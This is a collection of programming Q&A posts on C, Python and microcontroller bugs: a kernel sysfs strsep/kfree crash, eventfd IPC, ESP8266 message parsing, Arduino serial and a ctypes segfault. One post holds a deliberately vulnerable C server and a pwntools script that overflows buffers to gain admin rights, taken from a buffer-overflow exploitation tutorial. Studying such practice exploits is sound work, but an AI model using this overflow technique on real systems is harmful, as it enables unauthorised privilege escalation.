I have a program in userspace that writes to a sysfs file in my kernel module.
I have isolated that with high probability the source of the crash is this specific function, as when I run the user code before reaching this point it doesn't crash, but when I add the write code it crashes with high probability.
I suspect the way I parse the string causes a memory error but I don't understand why.
I am working on kernel version 3.2 and python 2.7
By crash I mean the whole system freezes up and I have to either restart it or restore the VM to a previous snapshot.
user write code(python):
portFile = open(realDstPath, "w")
portFile.write(str(ipToint(srcIP)) + "|" + str(srcPort) + "|")
portFile.close()
kernel code:
ssize_t requestDstAddr( struct device *dev,
struct device_attribute *attr,
const char *buff,
size_t count)
{
char *token;
char *localBuff = kmalloc(sizeof(char) * count, GFP_ATOMIC);
long int temp;
if(localBuff == NULL)
{
printk(KERN_ERR "ERROR: kmalloc failed\n");
return -1;
}
memcpy(localBuff, buff, count);
spin_lock(&conntabLock);
//parse values passed from proxy
token = strsep(&localBuff, "|");
kstrtol(token, 10, &temp);
requestedSrcIP = htonl(temp);
token = strsep(&localBuff, "|");
kstrtol(token, 10, &temp);
requestedSrcPort = htons(temp);
spin_unlock(&conntabLock);
kfree(localBuff);
return count;
}
Look closely at strsep. From man strsep:
char *strsep(char **stringp, const char *delim);
... and *stringp is updated to point past the token. ...
In your code you do:
char *localBuff = kmalloc(sizeof(char) * count, GFP_ATOMIC)
...
token = strsep(&localBuff, "|");
...
kfree(localBuff);
The localBuff variable is updated after the strsep call. So the call to kfree is not with the same pointer. That allows for very strange behaviors. Use a temporary pointer to save the state of strsep function. And check it's return value.
Related
Bottom line up front, my problem:
Rather, I would expect gdb to be stopped at a SIGINT instead of what is happening. I believe the SIGINT is triggered or at least gets has been called, because I don't seem to get this error until I reach that part of the code.
I've looked around for solutions, and already have tried:
sudo apt-get update --fix-missing
sudo apt-get source libc6
sudo apt-get install gdb-server
I am running on WSL / Kali
NAME="Kali GNU/Linux"
ID=kali
VERSION="2021.3"
VERSION_ID="2021.3"
VERSION_CODENAME="kali-rolling"
I'm roughly following a tutorial (although with a different target ELF) on exploiting a buffer overflow where source code is using gets.
I'm not asking for help with the exploitation, but rather with solving a problem automating Gdb through Pwntools.
The Rapid7 tutorial I'm following explains to use info frame, like:
(gdb) info frame
Stack level 0, frame at 0x7fffffffdde0:
rip = 0x7ffff7a42428 in __GI_raise (../sysdeps/unix/sysv/linux/raise.c:54); saved rip = 0x400701
called by frame at 0x7fffffffde30
source language c.
Arglist at 0x7fffffffddd0, args: sig=2
Locals at 0x7fffffffddd0, Previous frame's sp is 0x7fffffffdde0
Saved registers:
rip at 0x7fffffffddd8
and then use the value of locals (0x7fffffffddd0 in the tutorial's case) with x/200x like:
x/200x 0x7fffffffddd0
...to inspect the relevant buffers.
The source for the program I'm exploiting is as follows. I add in raise(SIGINT); after the gets call to stop and inspect the stack. The python I wrote already exploits to reach that SIGINT.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
//gcc vuln.c -fno-stack-protector -no-pie -z execstack -o vuln
__attribute__((constructor)) void ignore_me(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
#define MAX_USERS 5
struct user {
char username[16];
char password[16];
};
void server() {
int choice;
char buf[0x10];
struct user User[MAX_USERS];
int num_users = 0;
int is_admin = 0;
char server_name[0x20] = "my_cool_server!";
while(1) {
puts("+=========:[ Menu ]:========+");
puts("| [1] Create Account |");
puts("| [2] View User List |");
puts("| [3] Change Server Name |");
puts("| [4] Log out |");
puts("+===========================+");
printf("\n > ");
if (fgets(buf, sizeof(buf), stdin) == NULL) {
exit(-1);
}
printf("is_admin: %d\n", is_admin);
printf("num_users: %d\n", num_users);
printf("buf size: %d\n", sizeof(buf));
choice = atoi(buf);
switch(choice) {
case 1:
if (num_users > 5)
puts("The server is at its user limit.");
else {
printf("Enter the username:\n > ");
fgets(User[num_users].username,15,stdin);
printf("Enter the password:\n > ");
fgets(User[num_users].password,15,stdin);
puts("User successfully created!\n");
num_users++;
}
break;
case 2:
if (num_users == 0)
puts("There are no users on this server yet.\n");
else {
for (int i = 0; i < num_users; i++) {
printf("%d: %s",i+1, User[i].username);
}
}
break;
case 3:
if (!is_admin) {
puts("You do not have administrative rights. Please refrain from such actions.\n");
break;
}
else {
printf("The server name is stored at %p\n",server_name);
printf("Enter new server name.\n > ");
gets(server_name);
raise(SIGINT);
break;
}
case 4:
puts("Goodbye!");
return;
}
}
}
void main() {
puts("Welcome to this awesome server!");
puts("I hired a professional to make sure its security is top notch.");
puts("Have fun!\n");
server();
}
My python (note that the gdb.execute() commands are what I'm trying to automate):
import os
os.system('clear')
def print_stdout(p):
out_list = p.read().decode("utf-8").split('\n')
#for out in out_list:
#print(out)
from pwn import *
#context.log_level = 'error'
p = gdb.debug("./vuln", api=True)
p.gdb.execute('continue')
print_stdout(p)
# enter Create Account menu 4 times (overflows do not occur until the 4th iteration)
for i in range(0,4):
# The first 14+ bytes don't seem to matter
free_padding = b'f' * 14
# The second 14 bytes seem to require 0's
# I wonder if this 14 + 1 number has something to do with the 15 bytes being read by username
num_padding = b'0' * 14
payload = free_padding + num_padding + b'1'
#print(f"Payload: {payload}")
# send buffer which will be interpreted as 1 by the menu selection logic
p.sendline(payload)
print_stdout(p)
# At 29 non-zero bytes an overflow into is_admin appears.
payload2 = b'1' * 29
p.sendline(payload2)
print_stdout(p)
# The password may have potential to be involved in the overflow, but isn't necessary.
payload3 = b'password'
p.sendline(payload3)
print_stdout(p)
#print('----------------')
# Since is_admin is no longer zero, we can enter the Change Server Name interface.
#gdb.attach(p)
p.sendline(b'3')
print_stdout(p)
p.sendline(cyclic(100, n=8))
# here we should get a breakpoint and use:
# p.gdb.execute('info frame')
# then parse the locals address, assign it to locals_addr and use:
# p.gdb.execute(f"x/200x {locals_addr}")
The error, as I stated in the comments, triggered when I try this (and it doesnt seem to trigger until the SIGINT is reached, hence my inclusion of all the code) is:
(gdb) Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target... Remote connection closed
I am using os.eventfd (new in Python 3.10) for IPC between a C process and a Python process. The Python process is run by fork-execv from C.
The eventfd and epoll are set up in C, and the eventfd file descriptor is passed to Python.
According to the Linux docs: "If EFD_SEMAPHORE was not specified and the eventfd counter has a nonzero value, then a read(2) returns 8 bytes containing that value, and the counter's value is reset to zero." So I would expect that a read would occur once, then not again, or subsequent reads should return 0 after the first read. But that's not what happens, it keeps returning the same value over and over again.
The C program sets up the eventfd and epoll:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/eventfd.h>
#include <sys/epoll.h>
int eventfd_initialize()
{
int efd = eventfd(0,0);
return efd;
}
int epoll_initialize(int efd, int64_t * output_array)
{
struct epoll_event ev;
int epoll_fd = epoll_create1(0);
if(epoll_fd == -1)
{
fprintf(stderr, "Failed to create epoll file descriptor\n");
return 1;
}
ev.events = EPOLLIN; //May also need to be or'ed with EPOLLOUT
ev.data.fd = efd; //was 0
if(epoll_ctl(epoll_fd, EPOLL_CTL_ADD, efd, &ev) == -1)
{
fprintf(stderr, "Failed to add file descriptor to epoll\n");
close(epoll_fd);
return 1;
}
output_array[0] = epoll_fd;
output_array[1] = (int64_t)&ev;
return 0;
}
ssize_t epoll_write(int epoll_fd, struct epoll_event * event_struc, int action_code)
{
char ewbuf[8];
sprintf(ewbuf, "%d", action_code);
int maxevents = 1;
int timeout = -1;
write(epoll_fd, &ewbuf, 8);
epoll_wait(epoll_fd, event_struc, maxevents, timeout);
return 0;
}
The C program writes to the eventfd before the Python script is initialized, then the Python script is called with fork-exec. The Python script is a simple while True loop:
#!/usr/bin/python3
import sys
import os
from multiprocessing import shared_memory
event_fd = int(sys.argv[3])
os.set_blocking(event_fd, False)
existing_shm = shared_memory.SharedMemory(name='shm_object_0_0',create=False)
while True:
print("Waiting in Python for event")
v = os.eventfd_read(event_fd)
print("found")
print(v)
if v != 99:
print("release semaphore")
os.eventfd_write(event_fd, v)
if v == 99:
print("finally")
os.close(event_fd)
So I would expect it to read once, then all subsequent reads would return zero before the C side has written more to the eventfd. But I get this continuous display:
Waiting in Python for event
found
13361
release semaphore
Waiting in Python for event
found
13361
release semaphore
Waiting in Python for event
found
13361
release semaphore
Waiting in Python for event
found
13361
release semaphore
With each new read it returns the same number, not 0. The docs say a read from the eventfd will set it back to zero. Adding time.sleep(1) to Python doesn't change the behavior.
Also, I don't see any way to call epoll_wait in the Python os docs.
My end goal is to set up a Raspberry Pi Pico with an ESP-01S to enable wifi. The Pico will periodically check in with the server and put the ESP to sleep when not in use. Communication between the two is over UART. I want to support both a GET and POST HTTP request from the ESP.
This is the message structure I am using between the two devices.
| Always start with MSG | Request Type | Next message Size
| | Next message size | | | URL
V V V V V
|-----|-------------------|-----|-------------------|-----------|
[M|S|G|\x00\|x00\|x00\|x03|G|E|T|\x00|\x00|\x00|\x1f|h|t|t|p|...]
[M|S|G|\x00\|x00\|x00\|x04|P|O|S|T|URL SIZE...|URL...|\x00|\x00|\x006|POST Data...]
|-----|-------------------|-------|-----------|------|---------------|------------|
^ ^
| | Post Data
| Post data size
For testing purposes I am generating the strings in python, printing them and pasting them directly in the .cpp file I'm flashing onto the ESP.
Here is the snippet of code I'm using on my pc to generate the message.
import struct
import json
url = "http://192.168.X.X:8090/korok"
size_of_url = struct.pack('!I', len(url))
data = json.dumps({
"serial": "12345",
"sensor_data": {"0": 75, "1": 67}
})
size_of_data = struct.pack('!I', len(data))
print(f"{struct.pack('!I', len('GET'))}GET{size_of_url}{url}")
print(f"{struct.pack('!I', len('POST'))}POST{size_of_url}{url}{size_of_data}{data}")
>>>> ...
b'\x00\x00\x00\x03'GETb'\x00\x00\x00\x1f'http://192.168.X.X:8090/korok
b'\x00\x00\x00\x03'GETb'\x00\x00\x00\x1f'http://192.168.X.X:8090/korokb'\x00\x00\x006'{"serial": "12345", "sensor_data": {"0": 75, "1": 67}}
And here is the code running on the ESP. I left comments on some of the behaviors I'm experiencing.
#include <ESP8266WiFi.h>
#include <ESP8266HTTPClient.h>
#define GPIO_STATUS 2
#define BUFFER_SIZE 256
#define DATA_SIZE 4
char buf[BUFFER_SIZE];
void setup() {...}
...
// Struct is used so I can also get the size to use as an offset
// and read out part of the message in the buffer.
struct Message
{
char *value;
unsigned int size;
unsigned int totalMessageSize;
};
Message readMessage(char *data)
{
struct Message message;
message.size = ntohl(*(unsigned int *)(data)); // Unable to read shorthand hex
Serial.println(message.size);
message.totalMessageSize = message.size + DATA_SIZE; // Shorthand is only 3 char
message.value = (char *)malloc(message.size);
Serial.println(message.size);
int idx = DATA_SIZE;
int jdx = 0;
while (idx < message.size + DATA_SIZE && idx < BUFFER_SIZE)
{
message.value[jdx++] = data[idx++];
}
return message;
}
void loop()
{
delay(3000);
char * msg = "\x00\x00\x00\x03GET\x00\x00\x00\x1fhttp://192.168.X.X:8090/korok";
// char *msg = read_message();
if (msg)
{
Serial.print("\n");
int bufferIdx = 0;
struct Message request = readMessage(msg);
bufferIdx = request.totalMessageSize;
// This is odd and doing it due to odd behavior with ntohl and a variable
// offset. See below.
memcpy(msg, msg + bufferIdx, BUFFER_SIZE - bufferIdx);
struct Message url = readMessage(msg);
struct Message data;
if (memcmp(request.value, "GET", 3) == 0)
{
}
else if (memcmp(request.value, "POST", 4) == 0)
{
bufferIdx = url.totalMessageSize;
memcpy(msg, msg + bufferIdx, BUFFER_SIZE - bufferIdx);
struct Message data = readMessage(msg);
Serial.println(data.value);
}
free(request.value);
free(url.value);
if (memcmp(request.value, "POST", 4) == 0)
{
free(data.value);
}
}
}
Here is one of the two issues, though I found a workaround by doing a memcpy of my original char* offsetting the beginning index. The first line below works but the second throws LoadStoreAlignmentCause exception.
Ideally I'd like to understand what's going on here and to get this working without the memcpy.
ntohl(*(unsigned int *)(msg + 7)); // Works
int offset = 7;
ntohl(*(unsigned int *)(msg + offset)); // Throws Exception (9) LoadStoreAlignmentCause
The main issue I'm experiencing is when I'm packing the size in python some hex values are being shorthanded. e.g struct.pack('!I', 54) == \x00\x00\x006
When this happens ntohl() seems to read an address it shouldn't and outputs 635. Also since I'm expecting four char the rest of the message is off by one index.
A few questions regarding this issue. What is the name of this shorthand hex syntax? Is there anyway to get python to not output this short hand? Or are there any suggestions on how to get this working on the ESP?
I am trying to send an int number from Python to an Arduino using PySerial, using .write([data]) to send with Python and Serial.read() or Serial.readString() to recieve on the Arduino, then .setPixelColor() and .show() to light a LED on a matrix which position corresponds to the int sent by the arduino (I am using the Duinofun Neopixel Shield).
But It does not seem to work properly, and I can't use the Serial Monitor as I am sending my data as the port would be busy.
I have tried to input a number myself using Serial.readString() then converting the string to an int and finally putting in into my function that displays the LED.
It does work properly when I do this, but when I send some data over, all the previously lit LEDs suddenly switch off which can only be caused by a reset of the Arduino board as far as I know.
This is the python code, it simply sends an int chosen by the user
import serial
a = int(input('Enter pixel position : '))
ser = serial.Serial("COM16", 9600)
ser.write([a])
And this is the part of the Arduino program that reads the incoming data.
Adafruit_NeoPixel pixels = Adafruit_NeoPixel(40, 6, NEO_GRB + NEO_KHZ800);
void setup() {
// put your setup code here, to run once:
pixels.begin();
Serial.begin(9600);
}
void loop() {
String a = Serial.readString();
int b = a.toInt();
pixels.setPixelColor(b, 30,30,30);
pixels.show();
Serial.println(a);
delay(1000);
}
All the LED switch off when I send some data, except the first LED which position corresponds to a 0 used in the .setPixelColor() function.
Problem is, the LED should light to the corresponding int sent by Python (e.g light the fifth LED for an int of 4).
You don't need to send an int from your Python script. Just send a string and then convert it back to int on your Arduino. Also, you can verify the number simply on your Arduino code if the received value is valid.
Another problem with your Arduino code is you are not checking the Serial port availability which would return an empty string by Serial.readString().
A simple approach is shown below but you can extend it for other pixels.
Python script:
import serial
ser = serial.Serial("COM16", 9600)
while True:
input_value = input('Enter pixel position: ')
ser.write(input_value.encode())
Arduino code:
#define MIN_PIXEL_RANGE 0
#define MAX_PIXEL_RANGE 100
Adafruit_NeoPixel pixels = Adafruit_NeoPixel(40, 6, NEO_GRB + NEO_KHZ800);
void setup()
{
// put your setup code here, to run once:
pixels.begin();
Serial.begin(9600);
}
void loop()
{
if (Serial.available())
{
String a = Serial.readString();
Serial.print("Received Value: ");
Serial.println(a);
int b = a.toInt();
if ((b >= MIN_PIXEL_RANGE) && (b <= MAX_PIXEL_RANGE))
{
pixels.setPixelColor(b, 30, 30, 30);
pixels.show();
delay(1000);
}
}
}
You can communicate between Ardinos and Python really easily and reliably if you use the pip-installable package pySerialTransfer. The package is non-blocking, easy to use, supports variable length packets, automatically parses packets, and uses CRC-8 for packet corruption detection.
Here's an example Python script:
from pySerialTransfer import pySerialTransfer as txfer
if __name__ == '__main__':
try:
link = txfer.SerialTransfer('COM13')
link.txBuff[0] = 'h'
link.txBuff[1] = 'i'
link.txBuff[2] = '\n'
link.send(3)
while not link.available():
if link.status < 0:
print('ERROR: {}'.format(link.status))
print('Response received:')
response = ''
for index in range(link.bytesRead):
response += chr(link.rxBuff[index])
print(response)
link.close()
except KeyboardInterrupt:
link.close()
Note that the Arduino will need to use the library SerialTransfer.h. You can install SerialTransfer.h using the Arduino IDE's Libraries Manager.
Here's an example Arduino sketch:
#include "SerialTransfer.h"
SerialTransfer myTransfer;
void setup()
{
Serial.begin(115200);
Serial1.begin(115200);
myTransfer.begin(Serial1);
}
void loop()
{
myTransfer.txBuff[0] = 'h';
myTransfer.txBuff[1] = 'i';
myTransfer.txBuff[2] = '\n';
myTransfer.sendData(3);
delay(100);
if(myTransfer.available())
{
Serial.println("New Data");
for(byte i = 0; i < myTransfer.bytesRead; i++)
Serial.write(myTransfer.rxBuff[i]);
Serial.println();
}
else if(myTransfer.status < 0)
{
Serial.print("ERROR: ");
Serial.println(myTransfer.status);
}
}
Lastly, note that you can transmit ints, floats, chars, etc. using the combination of these libraries!
I have an application that tries to read a specific key file and this can happen multiple times during the program's lifespan. Here is the function for reading the file:
__status
_read_key_file(const char * file, char ** buffer)
{
FILE * pFile = NULL;
long fsize = 0;
pFile = fopen(file, "rb");
if (pFile == NULL) {
_set_error("Could not open file: ", 1);
return _ERROR;
}
// Get the filesize
while(fgetc(pFile) != EOF) {
++fsize;
}
*buffer = (char *) malloc(sizeof(char) * (fsize + 1));
// Read the file and write it to the buffer
rewind(pFile);
size_t result = fread(*buffer, sizeof(char), fsize, pFile);
if (result != fsize) {
_set_error("Reading error", 0);
fclose(pFile);
return _ERROR;
}
fclose(pFile);
pFile = NULL;
return _OK;
}
Now the problem is that for a single open/read/close it works just fine, except when I run the function the second time - it will always segfault at this line: while(fgetc(pFile) != EOF)
Tracing with gdb, it shows that the segfault occurs deeper within the fgetc function itself.
I am a bit lost, but obviously am doing something wrong, since if I try to tell the size with fseek/ftell, I always get a 0.
Some context:
Language: C
System: Linux (Ubuntu 16 64bit)
Please ignore functions
and names with underscores as they are defined somewhere else in the
code.
Program is designed to run as a dynamic library to load in Python via ctypes
EDIT
Right, it seems there's more than meets the eye. Jean-François Fabre spawned an idea that I tested and it worked, however I am still confused to why.
Some additional context:
Suppose there's a function in C that looks something like this:
_status
init(_conn_params cp) {
_status status = _NONE;
if (!cp.pkey_data) {
_set_error("No data, open the file", 0);
if(!cp.pkey_file) {
_set_error("No public key set", 0);
return _ERROR;
}
status = _read_key_file(cp.pkey_file, &cp.pkey_data);
if (status != _OK) return status;
}
/* SOME ADDITIONAL WORK AND CHECKING DONE HERE */
return status;
}
Now in Python (using 3.5 for testing), we generate those conn_params and then call the init function:
from ctypes import *
libCtest = CDLL('./lib/lib.so')
class _conn_params(Structure):
_fields_ = [
# Some params
('pkey_file', c_char_p),
('pkey_data', c_char_p),
# Some additonal params
]
#################### PART START #################
cp = _conn_params()
cp.pkey_file = "public_key.pem".encode('utf-8')
status = libCtest.init(cp)
status = libCtest.init(cp) # Will cause a segfault
##################### PART END ###################
# However if we do
#################### PART START #################
cp = _conn_params()
cp.pkey_file = "public_key.pem".encode('utf-8')
status = libCtest.init(cp)
# And then
cp = _conn_params()
cp.pkey_file = "public_key.pem".encode('utf-8')
status = libCtest.init(cp)
##################### PART END ###################
The second PART START / PART END will not cause the segfault in this context.
Would anyone know a reason to why?